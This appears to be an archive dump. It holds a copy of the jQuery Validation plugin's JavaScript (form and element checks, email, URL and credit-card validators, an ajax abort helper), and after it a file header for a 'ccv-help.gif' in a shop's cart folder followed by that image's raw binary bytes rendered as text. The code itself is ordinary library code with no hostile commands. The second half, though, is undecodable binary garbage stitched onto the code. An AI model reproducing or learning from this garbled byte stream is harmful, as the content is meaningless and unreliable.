http://docs.jquery.com/Plugins/Validation/Validator/form form: function() { this.checkForm(); $.extend(this.submitted, this.errorMap); this.invalid = $.extend({}, this.errorMap); if (!this.valid()) $(this.currentForm).triggerHandler("invalid-form", [this]); this.showErrors(); return this.valid(); }, checkForm: function() { this.prepareForm(); for ( var i = 0, elements = (this.currentElements = this.elements()); elements[i]; i++ ) { this.check( elements[i] ); } return this.valid(); }, // http://docs.jquery.com/Plugins/Validation/Validator/element element: function( element ) { element = this.clean( element ); this.lastElement = element; this.prepareElement( element ); this.currentElements = $(element); var result = this.check( element ); if ( result ) { delete this.invalid[element.name]; } else { this.invalid[element.name] = true; } if ( !this.numberOfInvalids() ) { // Hide error containers on last error this.toHide = this.toHide.add( this.containers ); } this.showErrors(); return result; }, // http://docs.jquery.com/Plugins/Validation/Validator/showErrors showErrors: function(errors) { if(errors) { // add items to error list and map $.extend( this.errorMap, errors ); this.errorList = []; for ( var name in errors ) { this.errorList.push({ message: errors[name], element: this.findByName(name)[0] }); } // remove items from success list this.successList = $.grep( this.successList, function(element) { return !(element.name in errors); }); } this.settings.showErrors ? this.settings.showErrors.call( this, this.errorMap, this.errorList ) : this.defaultShowErrors(); }, // http://docs.jquery.com/Plugins/Validation/Validator/resetForm resetForm: function() { if ( $.fn.resetForm ) $( this.currentForm ).resetForm(); this.submitted = {}; this.prepareForm(); this.hideErrors(); this.elements().removeClass( this.settings.errorClass ); }, numberOfInvalids: function() { return this.objectLength(this.invalid); }, objectLength: function( obj ) { var count = 0; for ( var i in obj ) count++; return count; }, hideErrors: function() { this.addWrapper( this.toHide ).hide(); }, valid: function() { return this.size() == 0; }, size: function() { return this.errorList.length; }, focusInvalid: function() { if( this.settings.focusInvalid ) { try { $(this.findLastActive() || this.errorList.length && this.errorList[0].element || []).filter(":visible").focus(); } catch(e) { // ignore IE throwing errors when focusing hidden elements } } }, findLastActive: function() { var lastActive = this.lastActive; return lastActive && $.grep(this.errorList, function(n) { return n.element.name == lastActive.name; }).length == 1 && lastActive; }, elements: function() { var validator = this, rulesCache = {}; // select all valid inputs inside the form (no submit or reset buttons) // workaround $Query([]).add until http://dev.jquery.com/ticket/2114 is solved return $([]).add(this.currentForm.elements) .filter(":input") .not(":submit, :reset, :image, [disabled]") .not( this.settings.ignore ) .filter(function() { !this.name && validator.settings.debug && window.console && console.error( "%o has no name assigned", this); // select only the first element for each name, and only those with rules specified if ( this.name in rulesCache || !validator.objectLength($(this).rules()) ) return false; rulesCache[this.name] = true; return true; }); }, clean: function( selector ) { return $( selector )[0]; }, errors: function() { return $( this.settings.errorElement + "." + this.settings.errorClass, this.errorContext ); }, reset: function() { this.successList = []; this.errorList = []; this.errorMap = {}; this.toShow = $([]); this.toHide = $([]); this.formSubmitted = false; this.currentElements = $([]); }, prepareForm: function() { this.reset(); this.toHide = this.errors().add( this.containers ); }, prepareElement: function( element ) { this.reset(); this.toHide = this.errorsFor(element); }, check: function( element ) { element = this.clean( element ); // if radio/checkbox, validate first element in group instead if (this.checkable(element)) { element = this.findByName( element.name )[0]; } var rules = $(element).rules(); var dependencyMismatch = false; for( method in rules ) { var rule = { method: method, parameters: rules[method] }; try { var result = $.validator.methods[method].call( this, element.value.replace(/\r/g, ""), element, rule.parameters ); // if a method indicates that the field is optional and therefore valid, // don't mark it as valid when there are no other rules if ( result == "dependency-mismatch" ) { dependencyMismatch = true; continue; } dependencyMismatch = false; if ( result == "pending" ) { this.toHide = this.toHide.not( this.errorsFor(element) ); return; } if( !result ) { this.formatAndAdd( element, rule ); return false; } } catch(e) { this.settings.debug && window.console && console.log("exception occured when checking element " + element.id + ", check the '" + rule.method + "' method"); throw e; } } if (dependencyMismatch) return; if ( this.objectLength(rules) ) this.successList.push(element); return true; }, // return the custom message for the given element and validation method // specified in the element's "messages" metadata customMetaMessage: function(element, method) { if (!$.metadata) return; var meta = this.settings.meta ? $(element).metadata()[this.settings.meta] : $(element).metadata(); return meta && meta.messages && meta.messages[method]; }, // return the custom message for the given element name and validation method customMessage: function( name, method ) { var m = this.settings.messages[name]; return m && (m.constructor == String ? m : m[method]); }, // return the first defined argument, allowing empty strings findDefined: function() { for(var i = 0; i < arguments.length; i++) { if (arguments[i] !== undefined) return arguments[i]; } return undefined; }, defaultMessage: function( element, method) { return this.findDefined( this.customMessage( element.name, method ), this.customMetaMessage( element, method ), // title is never undefined, so handle empty string as undefined !this.settings.ignoreTitle && element.title || undefined, $.validator.messages[method], "Warning: No message defined for " + element.name + "" ); }, formatAndAdd: function( element, rule ) { var message = this.defaultMessage( element, rule.method ); if ( typeof message == "function" ) message = message.call(this, rule.parameters, element); this.errorList.push({ message: message, element: element }); this.errorMap[element.name] = message; this.submitted[element.name] = message; }, addWrapper: function(toToggle) { if ( this.settings.wrapper ) toToggle = toToggle.add( toToggle.parent( this.settings.wrapper ) ); return toToggle; }, defaultShowErrors: function() { for ( var i = 0; this.errorList[i]; i++ ) { var error = this.errorList[i]; this.settings.highlight && this.settings.highlight.call( this, error.element, this.settings.errorClass, this.settings.validClass ); this.showLabel( error.element, error.message ); } if( this.errorList.length ) { this.toShow = this.toShow.add( this.containers ); } if (this.settings.success) { for ( var i = 0; this.successList[i]; i++ ) { this.showLabel( this.successList[i] ); } } if (this.settings.unhighlight) { for ( var i = 0, elements = this.validElements(); elements[i]; i++ ) { this.settings.unhighlight.call( this, elements[i], this.settings.errorClass, this.settings.validClass ); } } this.toHide = this.toHide.not( this.toShow ); this.hideErrors(); this.addWrapper( this.toShow ).show(); }, validElements: function() { return this.currentElements.not(this.invalidElements()); }, invalidElements: function() { return $(this.errorList).map(function() { return this.element; }); }, showLabel: function(element, message) { var label = this.errorsFor( element ); if ( label.length ) { // refresh error/success class label.removeClass().addClass( this.settings.errorClass ); // check if we have a generated label, replace the message then label.attr("generated") && label.html(message); } else { // create label label = $("<" + this.settings.errorElement + "/>") .attr({"for": this.idOrName(element), generated: true}) .addClass(this.settings.errorClass) .html(message || ""); if ( this.settings.wrapper ) { // make sure the element is visible, even in IE // actually showing the wrapped element is handled elsewhere label = label.hide().show().wrap("<" + this.settings.wrapper + "/>").parent(); } if ( !this.labelContainer.append(label).length ) this.settings.errorPlacement ? this.settings.errorPlacement(label, $(element) ) : label.insertAfter(element); } if ( !message && this.settings.success ) { label.text(""); typeof this.settings.success == "string" ? label.addClass( this.settings.success ) : this.settings.success( label ); } this.toShow = this.toShow.add(label); }, errorsFor: function(element) { return this.errors().filter("[for='" + this.idOrName(element) + "']"); }, idOrName: function(element) { return this.groups[element.name] || (this.checkable(element) ? element.name : element.id || element.name); }, checkable: function( element ) { return /radio|checkbox/i.test(element.type); }, findByName: function( name ) { // select by name and filter by form for performance over form.find("[name=...]") var form = this.currentForm; return $(document.getElementsByName(name)).map(function(index, element) { return element.form == form && element.name == name && element || null; }); }, getLength: function(value, element) { switch( element.nodeName.toLowerCase() ) { case 'select': return $("option:selected", element).length; case 'input': if( this.checkable( element) ) return this.findByName(element.name).filter(':checked').length; } return value.length; }, depend: function(param, element) { return this.dependTypes[typeof param] ? this.dependTypes[typeof param](param, element) : true; }, dependTypes: { "boolean": function(param, element) { return param; }, "string": function(param, element) { return !!$(param, element.form).length; }, "function": function(param, element) { return param(element); } }, optional: function(element) { return !$.validator.methods.required.call(this, $.trim(element.value), element) && "dependency-mismatch"; }, startRequest: function(element) { if (!this.pending[element.name]) { this.pendingRequest++; this.pending[element.name] = true; } }, stopRequest: function(element, valid) { this.pendingRequest--; // sometimes synchronization fails, make sure pendingRequest is never < 0 if (this.pendingRequest < 0) this.pendingRequest = 0; delete this.pending[element.name]; if ( valid && this.pendingRequest == 0 && this.formSubmitted && this.form() ) { $(this.currentForm).submit(); } else if (!valid && this.pendingRequest == 0 && this.formSubmitted) { $(this.currentForm).triggerHandler("invalid-form", [this]); } }, previousValue: function(element) { return $.data(element, "previousValue") || $.data(element, "previousValue", previous = { old: null, valid: true, message: this.defaultMessage( element, "remote" ) }); } }, classRuleSettings: { required: {required: true}, email: {email: true}, url: {url: true}, date: {date: true}, dateISO: {dateISO: true}, dateDE: {dateDE: true}, number: {number: true}, numberDE: {numberDE: true}, digits: {digits: true}, creditcard: {creditcard: true} }, addClassRules: function(className, rules) { className.constructor == String ? this.classRuleSettings[className] = rules : $.extend(this.classRuleSettings, className); }, classRules: function(element) { var rules = {}; var classes = $(element).attr('class'); classes && $.each(classes.split(' '), function() { if (this in $.validator.classRuleSettings) { $.extend(rules, $.validator.classRuleSettings[this]); } }); return rules; }, attributeRules: function(element) { var rules = {}; var $element = $(element); for (method in $.validator.methods) { var value = $element.attr(method); if (value) { rules[method] = value; } } // maxlength may be returned as -1, 2147483647 (IE) and 524288 (safari) for text inputs if (rules.maxlength && /-1|2147483647|524288/.test(rules.maxlength)) { delete rules.maxlength; } return rules; }, metadataRules: function(element) { if (!$.metadata) return {}; var meta = $.data(element.form, 'validator').settings.meta; return meta ? $(element).metadata()[meta] : $(element).metadata(); }, staticRules: function(element) { var rules = {}; var validator = $.data(element.form, 'validator'); if (validator.settings.rules) { rules = $.validator.normalizeRule(validator.settings.rules[element.name]) || {}; } return rules; }, normalizeRules: function(rules, element) { // handle dependency check $.each(rules, function(prop, val) { // ignore rule when param is explicitly false, eg. required:false if (val === false) { delete rules[prop]; return; } if (val.param || val.depends) { var keepRule = true; switch (typeof val.depends) { case "string": keepRule = !!$(val.depends, element.form).length; break; case "function": keepRule = val.depends.call(element, element); break; } if (keepRule) { rules[prop] = val.param !== undefined ? val.param : true; } else { delete rules[prop]; } } }); // evaluate parameters $.each(rules, function(rule, parameter) { rules[rule] = $.isFunction(parameter) ? parameter(element) : parameter; }); // clean number parameters $.each(['minlength', 'maxlength', 'min', 'max'], function() { if (rules[this]) { rules[this] = Number(rules[this]); } }); $.each(['rangelength', 'range'], function() { if (rules[this]) { rules[this] = [Number(rules[this][0]), Number(rules[this][1])]; } }); if ($.validator.autoCreateRanges) { // auto-create ranges if (rules.min && rules.max) { rules.range = [rules.min, rules.max]; delete rules.min; delete rules.max; } if (rules.minlength && rules.maxlength) { rules.rangelength = [rules.minlength, rules.maxlength]; delete rules.minlength; delete rules.maxlength; } } // To support custom messages in metadata ignore rule methods titled "messages" if (rules.messages) { delete rules.messages } return rules; }, // Converts a simple string to a {string: true} rule, e.g., "required" to {required:true} normalizeRule: function(data) { if( typeof data == "string" ) { var transformed = {}; $.each(data.split(/\s/), function() { transformed[this] = true; }); data = transformed; } return data; }, // http://docs.jquery.com/Plugins/Validation/Validator/addMethod addMethod: function(name, method, message) { $.validator.methods[name] = method; $.validator.messages[name] = message || $.validator.messages[name]; if (method.length < 3) { $.validator.addClassRules(name, $.validator.normalizeRule(name)); } }, methods: { // http://docs.jquery.com/Plugins/Validation/Methods/required required: function(value, element, param) { // check if dependency is met if ( !this.depend(param, element) ) return "dependency-mismatch"; switch( element.nodeName.toLowerCase() ) { case 'select': var options = $("option:selected", element); return options.length > 0 && ( element.type == "select-multiple" || ($.browser.msie && !(options[0].attributes['value'].specified) ? options[0].text : options[0].value).length > 0); case 'input': if ( this.checkable(element) ) return this.getLength(value, element) > 0; default: return $.trim(value).length > 0; } }, // http://docs.jquery.com/Plugins/Validation/Methods/remote remote: function(value, element, param) { if ( this.optional(element) ) return "dependency-mismatch"; var previous = this.previousValue(element); if (!this.settings.messages[element.name] ) this.settings.messages[element.name] = {}; this.settings.messages[element.name].remote = typeof previous.message == "function" ? previous.message(value) : previous.message; param = typeof param == "string" && {url:param} || param; if ( previous.old !== value ) { previous.old = value; var validator = this; this.startRequest(element); var data = {}; data[element.name] = value; $.ajax($.extend(true, { url: param, mode: "abort", port: "validate" + element.name, dataType: "json", data: data, success: function(response) { var valid = response === true; if ( valid ) { var submitted = validator.formSubmitted; validator.prepareElement(element); validator.formSubmitted = submitted; validator.successList.push(element); validator.showErrors(); } else { var errors = {}; errors[element.name] = previous.message = response || validator.defaultMessage( element, "remote" ); validator.showErrors(errors); } previous.valid = valid; validator.stopRequest(element, valid); } }, param)); return "pending"; } else if( this.pending[element.name] ) { return "pending"; } return previous.valid; }, // http://docs.jquery.com/Plugins/Validation/Methods/minlength minlength: function(value, element, param) { return this.optional(element) || this.getLength($.trim(value), element) >= param; }, // http://docs.jquery.com/Plugins/Validation/Methods/maxlength maxlength: function(value, element, param) { return this.optional(element) || this.getLength($.trim(value), element) <= param; }, // http://docs.jquery.com/Plugins/Validation/Methods/rangelength rangelength: function(value, element, param) { var length = this.getLength($.trim(value), element); return this.optional(element) || ( length >= param[0] && length <= param[1] ); }, // http://docs.jquery.com/Plugins/Validation/Methods/min min: function( value, element, param ) { return this.optional(element) || value >= param; }, // http://docs.jquery.com/Plugins/Validation/Methods/max max: function( value, element, param ) { return this.optional(element) || value <= param; }, // http://docs.jquery.com/Plugins/Validation/Methods/range range: function( value, element, param ) { return this.optional(element) || ( value >= param[0] && value <= param[1] ); }, // http://docs.jquery.com/Plugins/Validation/Methods/email email: function(value, element) { // contributed by Scott Gonzalez: http://projects.scottsplayground.com/email_address_validation/ return this.optional(element) || /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i.test(value); }, // http://docs.jquery.com/Plugins/Validation/Methods/url url: function(value, element) { // contributed by Scott Gonzalez: http://projects.scottsplayground.com/iri/ return this.optional(element) || /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/i.test(value); }, // http://docs.jquery.com/Plugins/Validation/Methods/date date: function(value, element) { return this.optional(element) || !/Invalid|NaN/.test(new Date(value)); }, // http://docs.jquery.com/Plugins/Validation/Methods/dateISO dateISO: function(value, element) { return this.optional(element) || /^\d{4}[\/-]\d{1,2}[\/-]\d{1,2}$/.test(value); }, // http://docs.jquery.com/Plugins/Validation/Methods/dateDE dateDE: function(value, element) { return this.optional(element) || /^\d\d?\.\d\d?\.\d\d\d?\d?$/.test(value); }, // http://docs.jquery.com/Plugins/Validation/Methods/number number: function(value, element) { return this.optional(element) || /^-?(?:\d+|\d{1,3}(?:,\d{3})+)(?:\.\d+)?$/.test(value); }, // http://docs.jquery.com/Plugins/Validation/Methods/numberDE numberDE: function(value, element) { return this.optional(element) || /^-?(?:\d+|\d{1,3}(?:\.\d{3})+)(?:,\d+)?$/.test(value); }, // http://docs.jquery.com/Plugins/Validation/Methods/digits digits: function(value, element) { return this.optional(element) || /^\d+$/.test(value); }, // http://docs.jquery.com/Plugins/Validation/Methods/creditcard // based on http://en.wikipedia.org/wiki/Luhn creditcard: function(value, element) { if ( this.optional(element) ) return "dependency-mismatch"; // accept only digits and dashes if (/[^0-9-]+/.test(value)) return false; var nCheck = 0, nDigit = 0, bEven = false; value = value.replace(/\D/g, ""); for (n = value.length - 1; n >= 0; n--) { var cDigit = value.charAt(n); var nDigit = parseInt(cDigit, 10); if (bEven) { if ((nDigit *= 2) > 9) nDigit -= 9; } nCheck += nDigit; bEven = !bEven; } return (nCheck % 10) == 0; }, // http://docs.jquery.com/Plugins/Validation/Methods/accept accept: function(value, element, param) { param = typeof param == "string" ? param.replace(/,/g, '|') : "png|jpe?g|gif"; return this.optional(element) || value.match(new RegExp(".(" + param + ")$", "i")); }, // http://docs.jquery.com/Plugins/Validation/Methods/equalTo equalTo: function(value, element, param) { return value == $(param).val(); } } }); // deprecated, use $.validator.format instead $.format = $.validator.format; })(jQuery); // ajax mode: abort // usage: $.ajax({ mode: "abort"[, port: "uniqueport"]}); // if mode:"abort" is used, the previous request on that port (port can be undefined) is aborted via XMLHttpRequest.abort() ;(function($) { var ajax = $.ajax; var pendingRequests = {}; $.ajax = function(settings) { // create settings for compatibility with ajaxSetup settings = $.extend(settings, $.extend({}, $.ajaxSettings, settings)); var port = settings.port; if (settings.mode == "abort") { if ( pendingRequests[port] ) { pendingRequests[port].abort(); } return (pendingRequests[port] = ajax.apply(this, arguments)); } return ajax.apply(this, arguments); }; })(jQuery); // provides cross-browser focusin and focusout events // IE has native support, in other browsers, use event caputuring (neither bubbles) // provides delegate(type: String, delegate: Selector, handler: Callback) plugin for easier event delegation // handler is only called when $(event.target).is(delegate), in the scope of the jquery-object for event.target // provides triggerEvent(type: String, target: Element) to trigger delegated events ;(function($) { $.each({ focus: 'focusin', blur: 'focusout' }, function( original, fix ){ $.event.special[fix] = { setup:function() { if ( $.browser.msie ) return false; this.addEventListener( original, $.event.special[fix].handler, true ); }, teardown:function() { if ( $.browser.msie ) return false; this.removeEventListener( original, $.event.special[fix].handler, true ); }, handler: function(e) { arguments[0] = $.event.fix(e); arguments[0].type = fix; return $.event.handle.apply(this, arguments); } }; }); $.extend($.fn, { delegate: function(type, delegate, handler) { return this.bind(type, function(event) { var target = $(event.target); if (target.is(delegate)) { return handler.apply(target, arguments); } }); }, triggerEvent: function(type, target) { return this.triggerHandler(type, [$.event.fix({ type: type, target: target })]); } }) })(jQuery); cheapuggsales.uk.com/cart/ccv-help.gif0000777000000000000000000003433511633550304016722 0ustar rootrootGIF89aH XqIky|>FHDWfSɻ篼_ehbK:qp記ȐؿkxF5}oylXZTxUvYsp(&&&wZ¢$IEgcmRĽ润왓NUJYQ9+\EqWS62666woEΕ~xɩ,H@pH,Ȥrl:ШtJZجvzxL.zn|N~ Y WRCU\ +MFDGXX6O+T GF##6P#H7+I#W G7C6 K6BC=L6OF7 + Y1+\ PfA!L-8Pl0l|cp# UDNCѣd,<.ډ NHI߈q #* AK ؑAjʳ "z87&#!STPF@pF:f@ERet *`,ޝ%A\Բ`iOlȡfl%!j Ȯ8#Yr#̶5ΞtxO#v1W- >Q̫a nfwkE2Wy H+-f pCp#T@T%d^tBs 0 'gp: HLX3+p!IX m%_0#YXx 4koHP,,pZ(”X@DTK?`J3dfUS1е2ST@ٓ pÚ%S#Y@_4^e5Jf0(SA{a|5)4Y h ME?i F|*tyP tëlJU2+)PB>ux"ٚՉRy:7̦.T A}N=)ʉ Nk3;DCWu0B+)EYD#s(5(?x/`\ho*IJ Oa+{Z >ʃi@A`[KZϢHe6y.pE!#Lɹ .dЋof;nJ`;&~Oeβi22ɓڠ$gd.dPb%< ]rQ#@ Kd@lIc?p@K>'{c^ w1IwG=o~XE|G\SҞ@ZJe6aQ> H"HL&:PH*ZX̢M` H2hL׸. =`FE@ יo`2B-"GH1<2JJ2$& pp@(G)R^pNJUXe,aIYe.%0? ,`` hyc!_G@ UHCz DǸ (`uR X;Izs6~,? P¼.@:C7d*3 l z Fn^GG Ґ%5IEҕ(F>1#@X?^|1"΢ IHjR+Ntn*;JzO|  X(>5_%  %Vp̋^Z_{Wk_ :ulbkX26m,dY-hڎA DN-gj+8YsM0Rw[tzpk* ]%/˅qm$)ְ4Aa/6|eAg 7 }變g+Zx=l`yjl(m"B:`'R)$B6P5T OyWY>ָ.B4mhP59 ^yo@ ,/ );zƳ5 ȳL? xx5MhG6Žc+[nuR7vM]lO|fu1=OZ8Ǹ.wy`RBƾ,l&/oڜedV݌7i<vOށ+U^7’6xO Hp3#-# &XriOoU'=IkQژ.u2AιCL!?vy9=Umhn:֯^o,pN5t]OzA[t^TIMcQa=.f?q~D7J#PÀta>$GOt<$9̃&OiNm*to.bVɘ50d_oe/+'n~{` МXͽt jEzt4X\J"aR9( 5o.h=hq C+Nwkb@z &@P!T0VǴ+.cV`7z.Mm{ tQ`m@-.肭'0h51AxJHvwZg> gM xL,+]*H 8Yy &4q>:-20b 6P+ʢjBHH1:$I,sH"Ns&@kUHspGGmxDG%h%ȍHq@sP(lP YVyX)} ǝHB:9#|iSiI!z aNZפx9iN[5Ub5J4O&WcNDZv2 PSbiEItTqgbXEj&GMr0N$\gZiʦ:k>yQ@wZZsWsԧ~cTtpa`NPjE}ɥ][Zk8Uc3o {yzy X%P~{b!xH!a)&fz:kOr\;c=J`dA+ QzGDET}Jb\a}xiI5;;+*k̪7:*Ht@!-NzTė!Px N J%b+dK,;ǵʩ29V;A; JkP)W=67d\ 3'-LN[(b}}i`9;d 9 ++мK9КۋnPR9 <(ȢAv9d`O@`L}4=}:=hsw`<υMD:(p>P>p(-P?L?x8uTɚ~7%Jqgq,xv[EHN˲*j}3Ovkkk]I6|QgvQ_e_}_v؊_%%e_:= `4`wZ?[ָ8X}JdTyAբb% лjj˯HܦPc|ŧXkƇefosvefpe-`shz6E}`ώFmNVmEo0 '08 ,, 80' 5p߃ 9eZaArItpr;[*T6l Ɋ9 0Mp=Nd|uRLƇ̖_|8^O6efo<؂teel|fWFo_F/ 3Y0$M#rࣆL]IW҄pƼa7pqTc-UL~/ի| ]C6P7Y|U_}6Ꝿ?m  XNԝ (W8,ϓA"a4[(Zbdy"fU+z-/k)2g`D0pP LA1aڀW`Q@74O2Ʉ#89#0Q!5T%).puT 45G7<ۘUrd fUVd10p""]헠gbuE@XF.oZO3IN@!/QˍQ4#$W_4SFOSt c4@Vʑ jXixN`'p*-C`h jBQ^R6#0" #jeJQcbqѱ¤qQsS3!5d„vbDC'DC :bڏLǏLn:$\|(B n" ԸdPT2dBEK<)0 }9dLfѓJ0ib()(X8P`e .v5mᗏCz Ub!Z P m5 *۶8=qcy Ө#O ?<*OË3!g ĩ@XC$PJJe24gon:Z j(||.PţY&:b8݅u Yƈ6iѦգ4p`O_94nTX/"#{p`6X40L!C̈2 #4BIL BfJ2$. yÁI͋tE$' YIŃnc J]|,7J+x=ij/mι!>b̸쪨r-|Z@$рx, 8h {` ID~P#;HKTTR1@6 ؍H`G( K<&K|zZHTLXIY.g|+ .PLΌA"8={isrd(-vc{xϠNdQcS$Rr@@G,/aLiH%L ;]*` >Zu_V.-=P{o΅Gj}֊ ޫ ~t(KJB%T)I Zu5X rH>)`p f9h\Z"h,/wc/Öz ǝvW.ނj3g،\xk3G2[ʛA@էTMN&ou% ~'|biH WZ)dcJ3*Pvf`+LBK]֖qwwϼ b l$'郞aW~kk!p E UzLp b#7$d[!f%!+Y)cbs n3ar& #i3wz:;iIЂ_&laW<`\C?@J6,X" "N:O`dCthܒ>PFf 3FƠnDӚƴ3xWx=k6 ޹>ۃ!%d#z[h2Z0ʡD q,1@lIhHdDK8CR0W&0q[(_8k, .@ؘL@_FùMfh6Ԯ#pJ4.0 jCJPTt $=8li7WXexFS]C)[2$%H G2`!!kB ^`MUJO#. D@D3?ѩK5W%UP)@"%BѮ!Mvy~# ]jA#M[_K֦ٚDd$*LѢ$|ur qSV\UfP ^Ԙ~]騻i Kcݭڒ (>Vt|+,-q&$r_9LD#"6)Lv`(g% ,=X$[ؘHMHOΆ23]ʍ2\7'_pS`w~ǻmq{"}"`b_|޿?"(G=p>f .fhflf0@Z`hXJ\NL|خ+b0oOrP$ih, (`G/8 /,U: OEO'Mf08?&0 @LHT8yX8.n,xmxD{<٠Jغ88sVx:Nn8KDu@DEFxOT%b&%\$|Jb=O%= Al/q}3=?6 0' (Ā`O԰K)Qx Ƭzl,sr ,44 |N萬XO7CTˌ,HrG?_$z̒L> NnAV=#VGI:ִ)M/ӹegz:A!4-?o*S0z5o2NsO)9Ҳ~ADʒLS {dkUPXBЌ-x% YDn4qXJ®>jqNN{4%u:*c3tr.E77gS:er;oQ`3 RjA^"`É @4%'¢6X e(vr'@Ԁ++a:ӘYEeڒM7EGZT7sl6{Cۖ 8-\eaPfqͲq+ E~#o3ߜCEdT5oZ? $~hTdChfP[%IJ$2#A?cC )SH09k3焓5:,*RS8 ,ryg?]kKL,p(t0o}Ttv6Fu V:lq6 |v* vuKJZ+T)m1ΠU"xmNUPUp w5[\{[/O֮H*Έm1cIuXlAG-x8%=)ɸ[+&`| ō%f.gh@"|b,N6vUx |$ jmi.'ʹt24aA!9W3˹ PebBO/i$wZ1jNo.b1h`sqam73?6az"w/=e;{hIU|i F0S6".n UvQe%3JuoF"mqKnƩtb `L'4a:W{+XO3R a:Q`PV28/$ ;sy`1O> PT2+;ef5 gzIg /xԲa['Ϻ}ϢC 5DBrq1 9P0sܤq λ 0 ֻv5d~AlG3Gs;<=v1Y㻜;Z3XY\'(_th(oZ%V zboNet"% %JM-K"S31r("/Cْ#n?٫IU{$,wLuuUۧ ߈$R]*wb8VgX#tzZ_Тx;u%ZW}L7Cמ!,Q~aC$V12VTX8}Zʻ(s:yᷘ[{ø5\̝ϾOɅG:~iwEF~`:R>ĺ(ƖAr"Sǚ/W>q)pu<JWXd?SiM1 ETj M%ʠzĜt^>OGA?CgP<d"τHT.s΀:k|YTQJC4Nx\q~pҳ+C\iRt/VJ(Nt^?6 ߒwtp{i]2w!%<͆P % +ca-WÕ0x\1{htY}~\m? te10hhXD.Lf8D`F\jfj8nrDrr|t>f~bnPx,PR R#)m5%!x(Q7@I)\a)~|ŕ˱W|3r$JbrԩM U}xX9$Ha)Q&~ %+L4"C)2MDM( "q'>}s/O:Fk =QZPɒ(AfV5kٲ^fd{lP"4yReJ+]l͚Lk4I 7F<{ FO1O/L:< @ 4PpU2+;A_7n$k;D\0;&"wXʾB,ȑ%1 @YcȑFP˛Xi|QZ3lu : p 'E[lFdprJѹV4=R]>dm|z(N\0PVUk5`lD%^E=Y\^zmc"!5LD"#J׎=Qq<܉>Bc PA}8P )P_HYm )\jx\0a52F4g8"bIS*n1ge6xO1UP Uw#N=UC!酐 )Yi퓪hm*$ E p˅{@ITGahD y~Ǫp '|lŮ'19 hO,B qT&[tB( Jҗ\&*T4QSURVhx ;\lS{6U +<N hpIB*~^,\TJ<8&4L8#Ь]L̪+|"Rspz/{=!1Zd 0os@ۻc,oG*\! cB/ :!"rhe42Am[c=XUC6M32 P5b c)(20Œh<Lj4m#*M1aG=ޱ7=zڢ @$%+iKb2$';N'(D\%+[WNr!ؤȆD1Bܥ*^2. cӗ,&/g:Ȅ&5ih: \6yTS$9q\9NLgIbk#JֳL+[ۚն5=\Uծz+J` +]N*TBv~]jd+ hղjb7Y|6NhKkZl@B @ۓBM e#u#jhSX l+z᷵  x`o  `$F`-d1.p\<Ws5,@ );ؠ7H/xkV/w ^d=/|W_>="E<؂>  xY}2Yo8< b&w;!|"UxLdv  8]t7a, 7`5["#p.A tGB;?Z ;xہ w/ In3Ss\_hr1{gB 7 LirA`sv@sΘ#?u { qw殷ooݥOo}x^߆< 